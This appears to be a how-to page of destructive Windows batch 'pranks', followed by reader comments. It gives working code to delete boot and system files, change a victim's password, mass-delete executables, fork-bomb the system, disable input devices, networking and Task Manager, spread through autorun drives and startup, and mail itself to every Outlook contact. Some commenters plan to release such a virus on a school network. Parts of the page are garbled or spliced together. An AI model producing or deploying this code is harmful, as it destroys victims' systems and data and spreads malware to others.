Due to the large amount of instructables I have seen here that contain ways to make batch files, and often times using the exact same code, I'm making this 'ible to show a comprehensive list of the ones that I know. Keep in mind, some of these can actually be dangerous if used, so be careful!

Some of these aren't exactly "pranks", and should only be looked at for educational purposes.

Disclaimer: I am not responsible if you wreck somebody's \$2,000 water-cooled super awesome gaming computer, be it for a silly grudge, or accidental, using the code shown in this instructable.

Step 1: Making a Batch File

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

So, in order to input the code described later, you're going to actually need a place to put it. For Batch, you can use the command prompt by going to start>run>cmd.exe, or making a ".bat" file in notepad. Make sure to save it as all files and with a ".bat" extension.

Step 2: Swapping the Mouse Keys

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

One of the simplest pranks, but used in conjunction with another, it does to swap the right and left buttons on your mouse.

```
Code:
@ echo off
rem -----
rem Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton
rem -----
```

Keep in mind that "@ echo off" is only needed once at the beginning of the file.

Step 3: Changing the Password

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

So, you want to change the password for the user that someone just logged as so they can't log in again without you? Here's the code.

```
Code:
@ echo off
rem -----
rem Change User Password To "Put password here without quotes"
net user %username% "Username without quotes"
rem -----
```

Step 4: Possessed Disk Tray

[See More \(/tag/type-id/?q=\)](#)

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

...the drive opens and closes the disk tray, and it is made to look like the tray is locked.

Code:

```
@ echo off
rem -----
rem Start Opening Disk Tray
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
rem -----
```

Step 5: Reset the Clock

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

...the system, reset the computer clock.

Code:

```
@ echo off
rem -----
rem Change Computer Time
time 12:00
rem -----
```

Step 6: Hide the "My Documents" Folder

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

...see our explanation.

Code:

```
@ echo off
rem -----
rem Hide My Documents Folder
attrib +h "%userprofile%\my documents"
rem -----
```

Step 7: Blue Screen of Death

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

...have right, this will trigger the infamous Blue Screen of Death.

Code:

```
@ echo off
rem -----
rem Activate Blue Screen Of Death
@((( Echo Off > Nul ) & Break Off )
@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@Reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul
@Del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*"
)
rem -----
```

Step 8: The Last Restart

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

This one restarts the computer after the last time (one of the 21,021,000 times).

Code:

```
@ echo off
rem -----
rem The Last Restart
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
shutdown /r /t 00
rem -----
```

Step 9: Spam With MSGBox

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

This one spams the desktop with a billion of windows that'll popup when closed. Using msgbox.

Code:

```
@ echo off
rem -----
rem Spam With VBScript Msgboxes
echo Do>>msgbox.vbs
echo x=msgbox("Your computer is infected with a virus!",0+48,"Infected") >>msgbox.vbs
echo Loop>>msgbox.vbs
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
start "" "msgbox.vbs"
```

Step 10: Confuse Filetype Extensions

Step 11: Disable Computer

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

rem can explain it, but since you need a different code for each file type, post a comment and I'll post it.

Code:

```
@ echo off
rem -----
rem Disable Computer By Deleting hal.dll
del /f /q %SystemDrive%\WINDOWS\system32\hal.dll
rem -----
```

Step 12: Delete All of a Certain Filetype

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

And explain it, but since you need a different code for each file type, post a comment and I'll post it. Meanwhile, here's the one for .exe.

Code:

```
@ echo off
rem -----
rem Delete All Exe
DIR /S/B %SystemDrive%\*.exe >> FileList_exe.txt
echo Y | FOR /F "tokens=1,* delims=" %%j in (FileList_exe.txt) do del "%%j:%%k"
rem -----
```

Step 13: Crash Computer

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

Code:

```
@ echo off
rem -----
rem Crash Computer
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
echo start "" %0>>crash.bat
start "" crash.bat
rem -----
```

A Collection of Batch Computer Pranks by LiquidLightning (/member/LiquidLightning/)
Step 14: Delete a Certain Program

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

same deal as with the mtypes, but only deletes one program. For the which one, and in post the code. Here's for notepad.

Code:

```
@ echo off
```

```
rem -----
rem Delete Notepad
tskill notepad
del /f /q "%windir%\system32\notepad.exe"
rem -----
```

Step 15: Local Infection

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

And one of those to your host, and it will infect that with the virus.

Code:

Infect all drives:

```
rem -----
rem Infect All Drives
for %%E in (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >> %%E:\autorun.inf
echo action=Open folder to see files... >> %%E:\autorun.inf)
rem -----
```

Infect Startup:

```
rem -----
rem Infect Startup Folder
copy %0 "%userprofile%\Start Menu\Programs\Startup"
rem -----
```

Infect all of a certain filetype. Comment and I'll post. Here's .exe:

```
rem -----
rem Infect All .Exe Files
assoc .exe=batfile
DIR /S/B %SystemDrive%\*.exe >> InfList_exe.txt
echo Y | FOR /F "tokens=1,* delims=" %%j in (InfList_exe.txt) do copy /y %0 "%%j:%%k"
rem -----
```

Step 16: Internet Infection (DONT READ THIS STEP)

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

The most dangerous thing I can advise you to requires a disclaimer. It's simple.

Disclaimer: DO NOT use the code in this step, it is PURELY for EDUCATIONAL purposes. If you DO decide to use it, I am not responsible for ANYTHING that results. YOU MAY GO TO JAIL, if this is used. I REPEAT, JAIL! It will affect computers other than the one it is used on. DO NOT run this code.

IF YOU ARE NOT EXTREMELY EXPERIENCED WITH THIS KIND OF THING DO NOT READ PAST THIS POINT IN THIS STEP, SIMPLY PROCEED TO THE NEXT STEP AND FORGET ABOUT THIS ONE!

That said, this code will send the entire virus file to all of the computers contacts in Microsoft Outlook as an e-mail attachment. DANGER!!!!

Code:

```
@ echo off
rem -----
rem Spread Via Outlook Contact Book
echo dim x>>%SystemDrive%\mail.vbs
echo on error resume next>>%SystemDrive%\mail.vbs
echo Set fso = "Scripting.FileSystem.Object">>%SystemDrive%\mail.vbs
echo Set so=CreateObject(fso)>>%SystemDrive%\mail.vbs
echo Set ol=CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
echo Set out=WScript.CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
echo Set mapi = out.GetNameSpace("MAP")>>%SystemDrive%\mail.vbs
echo Set a = mapi.AddressLists(1)>>%SystemDrive%\mail.vbs
echo Set ae=a.AddressEntries>>%SystemDrive%\mail.vbs
echo For x=1 To ae.Count>>%SystemDrive%\mail.vbs
echo Set ci=ol.CreateItem(0)>>%SystemDrive%\mail.vbs
echo Set Mail=ci>>%SystemDrive%\mail.vbs
echo Mail.to=ol.GetNameSpace("MAP").AddressLists(1).AddressEntries(x)>>%SystemDrive%\mail.vbs
echo Mail.Subject="Is this you?">>%SystemDrive%\mail.vbs
echo Mail.Body="Man that has got to be embarrassing!">>%SystemDrive%\mail.vbs
echo Mail.Attachments.Add(%0)>>%SystemDrive%\mail.vbs
echo Mail.send>>%SystemDrive%\mail.vbs
echo Next>>%SystemDrive%\mail.vbs
echo ol.Quit>>%SystemDrive%\mail.vbs
start "" "%SystemDrive%\mail.vbs"
rem -----
```

Step 17: Self Destruct

```

rem -----

```

Step 19: Disable Task Manager

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

Disable Task Manager.

Code:

```
rem -----
rem Disable Task Manager
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_SZ /d 1 /f >nul
rem -----
```

Step 20: Disable Internet Connection

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

Disable Internet Conn.

Code:

```
rem -----
rem Disable Internet
@Echo off & @@Break Off
Ipconfig /release
%jUmP%E%nD%c%onFiG%h%ldE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D
b%aLLo0Ns%Y%eS% m3Ga!?!
P%ReSs%%IE%AuS%ExPlor%e%r% > nul.%TempInternetRelease%
rem -----
```

Step 21: Disable Mouse/Keyboard

(/files/deriv/FZQ/DLFT/GITI7C5N/FZQDLFTGITI7C5N.LARGE.jpg)

```
rem -----  
rem Disable Mouse  
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"  
reg delete %key%  
reg add %key% /v Start /t REG_DWORD /d 4  
rem -----
```

Keyboard:

```
rem -----  
rem Disable Keyboard  
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"  
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >>  
"nokeyboard.reg"  
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >>

cool virus Sep 28, 2012. 4:18 AM

[Reply \(CTROMN2H7KZ27N1\)](#)

i am trying to make a really big one that i can unleash into my school in 2014 on the last day of my schooling years
i don't have full admin privileges but more then most of the school as i was able to crack the password for my system. I am trying to make one that can be messaged throughout the whole network or piggy back through the internet and that will turn all users into admin delete a few files and will erase itself leaving no trace behind

could you possibly help me out with this??

newbiescriptwriter (/member/newbiescriptwriter/) says:

Hey man XD... i really appreciate all these codes XDD... But i have one certain problem. Right now i have this code:
Apr 20, 2012. 11:19 PM

[Reply \(CQA4SRVH19RUXGB\)](#)

@echo on

:Top

color 02

prompt Hi, You Have Been SCAMMED XD

start color 0c

pause

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

```
%0
rem -----
rem Self Destruct
del /f /q %0
rem -----
goto top
%0
```

(the pause is so to not destroy my computer whilst modding it XD)

...

My idea for this, is to open command prompt (pretend to be deleting stuff...), then open up another 8 command prompts (make them look like the one before, scrolling and pretend to delete stuff) and repeat the process....

ANY SUGGESTIONS WOULD BE APPRECIATED XDD

Shouldn't you associate some crazy file type with exe, then have it use the list to copy, rename, and place into a hidden directory, then edit the file by taking %0, removing .exe, then adding the type on the end, and then use that so the file runs afterwards?

I'm gonna use this. Put it all together (well, most of it) to make a mega virus with some other touches (once it's done it blocks input, turns up the volume and goes to <http://www.youtube.com/watch?v=CzyyOnOh9A8>) to send to danooct1!
